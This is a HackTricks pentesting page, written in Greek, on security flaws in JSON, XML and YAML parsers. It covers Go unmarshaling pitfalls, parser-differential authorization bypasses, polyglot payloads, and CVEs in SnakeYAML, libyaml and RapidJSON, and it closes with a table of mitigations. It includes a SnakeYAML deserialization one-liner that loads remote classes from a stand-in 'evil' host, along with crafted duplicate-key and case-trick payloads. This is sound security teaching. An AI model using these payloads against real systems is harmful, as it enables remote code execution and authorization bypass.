hacktricks/src/pentesting-web/json-xml-yaml-hacking.md

165 lines
9.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# JSON, XML & Yaml Hacking & Issues
{{#include ../banners/hacktricks-training.md}}
## Go JSON Decoder
Οι παρακάτω προβλήματα ανιχνεύθηκαν στο Go JSON αν και θα μπορούσαν να είναι παρόντα και σε άλλες γλώσσες. Αυτά τα προβλήματα δημοσιεύθηκαν σε [**αυτή την ανάρτηση στο blog**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/).
Οι αναλυτές JSON, XML και YAML του Go έχουν μια μακρά πορεία ασυνεπειών και ανασφαλών προεπιλογών που μπορούν να εκμεταλλευτούν για να **παρακάμψουν την αυθεντικοποίηση**, **κλιμακώσουν προνόμια** ή **εξάγουν ευαίσθητα δεδομένα**.
### (Un)Marshaling Unexpected Data
Ο στόχος είναι να εκμεταλλευτεί δομές που επιτρέπουν σε έναν επιτιθέμενο να διαβάσει/γράψει ευαίσθητα πεδία (π.χ., `IsAdmin`, `Password`).
- Παράδειγμα Δομής:
```go
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin bool `json:"-"`
}
```
- Κοινές Ευπάθειες
1. **Απουσία ετικέτας** (χωρίς ετικέτα = το πεδίο αναλύεται ακόμα από προεπιλογή):
```go
type User struct {
Username string
}
```
Πληροφορία:
```json
{"Username": "admin"}
```
2. **Λάθος χρήση του `-`**:
```go
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}
```
Πληροφορία:
```json
{"-": true}
```
✔️ Σωστός τρόπος για να αποκλείσετε το πεδίο από το να (απο)μαρσαριστεί:
```go
type User struct {
IsAdmin bool `json:"-"`
}
```
### Διαφορές Αναλυτών
Ο στόχος είναι να παρακαμφθεί η εξουσιοδότηση εκμεταλλευόμενοι το πώς διαφορετικοί αναλυτές ερμηνεύουν το ίδιο φορτίο διαφορετικά όπως σε:
- CVE-2017-12635: Παράκαμψη Apache CouchDB μέσω διπλών κλειδιών
- 2022: Zoom 0-click RCE μέσω ασυνέπειας αναλυτή XML
- GitLab 2025 SAML παράκαμψη μέσω ιδιαιτεροτήτων XML
**1. Διπλά Πεδία:**
Ο `encoding/json` του Go παίρνει το **τελευταίο** πεδίο.
```go
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction
```
Άλλοι αναλυτές (π.χ., Jackson της Java) μπορεί να πάρουν το **πρώτο**.
**2. Αδιαφορία Περί Περίπτωσης:**
Το Go είναι αδιάφορο ως προς την περίπτωση:
```go
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field
```
Ακόμα και τα κόλπα Unicode λειτουργούν:
```go
json.Unmarshal([]byte(`{"ationſ": "bypass"}`), &req)
```
**3. Διαφορετικότητα διασύνδεσης υπηρεσιών:**
Φανταστείτε:
- Proxy γραμμένο σε Go
- Υπηρεσία AuthZ γραμμένη σε Python
Ο επιτιθέμενος στέλνει:
```json
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
```
- Python βλέπει το `UserAction`, το επιτρέπει
- Go βλέπει το `AdminAction`, το εκτελεί
### Σύγχυση Μορφής Δεδομένων (Polyglots)
Ο στόχος είναι να εκμεταλλευτούμε συστήματα που αναμειγνύουν μορφές (JSON/XML/YAML) ή αποτυγχάνουν να κλείσουν σε σφάλματα αναλυτή όπως:
- **CVE-2020-16250**: Το HashiCorp Vault ανέλυσε JSON με έναν αναλυτή XML μετά την επιστροφή JSON από το STS αντί για XML.
Ο επιτιθέμενος ελέγχει:
- Την κεφαλίδα `Accept: application/json`
- Μερικό έλεγχο του σώματος JSON
Ο αναλυτής XML του Go το ανέλυσε **οπωσδήποτε** και εμπιστεύτηκε την εισαγόμενη ταυτότητα.
- Δημιουργημένο payload:
```json
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
```
- **Go JSON** parser: `Action_2` (case-insensitive + last wins)
- **YAML** parser: `Action_1` (case-sensitive)
- **XML** parser: parses `"Action_3"` inside the string
---
## Σημαντικές Ευπάθειες Παρσέρ (2023-2025)
> Τα παρακάτω δημόσια εκμεταλλεύσιμα ζητήματα δείχνουν ότι η ανασφαλής παρσάρισμα είναι ένα πρόβλημα πολλών γλωσσών — όχι μόνο πρόβλημα του Go.
### SnakeYAML Deserialization RCE (CVE-2022-1471)
* Αφορά: `org.yaml:snakeyaml` < **2.0** (χρησιμοποιείται από Spring-Boot, Jenkins, κ.λπ.).
* Αιτία: `new Constructor()` αποσυναρμολογεί **τυχαίες κλάσεις Java**, επιτρέποντας αλυσίδες gadget που καταλήγουν σε εκτέλεση απομακρυσμένου κώδικα.
* One-liner PoC (θα ανοίξει την αριθμομηχανή στον ευάλωτο υπολογιστή):
```yaml
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
```
* Διόρθωση / Μετριασμός:
1. **Αναβάθμιση σε ≥2.0** (χρησιμοποιεί `SafeLoader` από προεπιλογή).
2. Σε παλαιότερες εκδόσεις, χρησιμοποιήστε ρητά `new Yaml(new SafeConstructor())`.
### libyaml Double-Free (CVE-2024-35325)
* Επηρεάζει: `libyaml` ≤0.2.5 (C βιβλιοθήκη που χρησιμοποιείται από πολλές γλώσσες).
* Ζήτημα: Η κλήση `yaml_event_delete()` δύο φορές οδηγεί σε διπλή απελευθέρωση που οι επιτιθέμενοι μπορούν να μετατρέψουν σε DoS ή, σε ορισμένα σενάρια, εκμετάλλευση σωρού.
* Κατάσταση: Ο upstream το απέρριψε ως “κακή χρήση API”, αλλά οι διανομές Linux παρέδωσαν διορθωμένη έκδοση **0.2.6** που μηδενίζει τον δείκτη αμυντικά.
### RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
* Επηρεάζει: Tencent **RapidJSON** πριν την δέσμευση `8269bc2` (<1.1.0-patch-22).
* Σφάλμα: Στη μέθοδο `GenericReader::ParseNumber()` η μη ελεγχόμενη αριθμητική επιτρέπει στους επιτιθέμενους να δημιουργήσουν τεράστιες αριθμητικές λεκτικές που περιτυλίγονται και διαφθείρουν τον σωρό τελικά επιτρέποντας την κλιμάκωση προνομίων όταν το προκύπτον αντικείμενο χρησιμοποιείται για αποφάσεις εξουσιοδότησης.
---
### 🔐 Μετριασμοί (Ενημερωμένο)
| Κίνδυνος | Διόρθωση / Σύσταση |
|-------------------------------------|------------------------------------------------------------|
| Άγνωστα πεδία (JSON) | `decoder.DisallowUnknownFields()` |
| Διπλά πεδία (JSON) | Καμία διόρθωση στη stdlib επικυρώστε με [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) |
| Αντιστοίχιση χωρίς διάκριση πεζών-κεφαλαίων (Go) | Καμία διόρθωση επικυρώστε τις ετικέτες δομής + προ-κανονικοποιήστε την είσοδο |
| XML σκουπίδια δεδομένα / XXE | Χρησιμοποιήστε έναν σκληρυμένο αναλυτή (`encoding/xml` + `DisallowDTD`) |
| YAML άγνωστα κλειδιά | `yaml.KnownFields(true)` |
| **Μη ασφαλής αποσυμπίεση YAML** | Χρησιμοποιήστε SafeConstructor / αναβαθμίστε σε SnakeYAML 2.0 |
| libyaml 0.2.5 διπλή απελευθέρωση | Αναβαθμίστε σε **0.2.6** ή σε έκδοση με διορθώσεις διανομής |
| RapidJSON <διορθωμένη δέσμευση | Συγκεντρώστε κατά την τελευταία RapidJSON (≥Ιούλιος 2024) |
## Αναφορές
- Baeldung Επίλυση CVE-2022-1471 με SnakeYAML 2.0
- Ubuntu Security Tracker CVE-2024-35325 (libyaml)
{{#include ../banners/hacktricks-training.md}}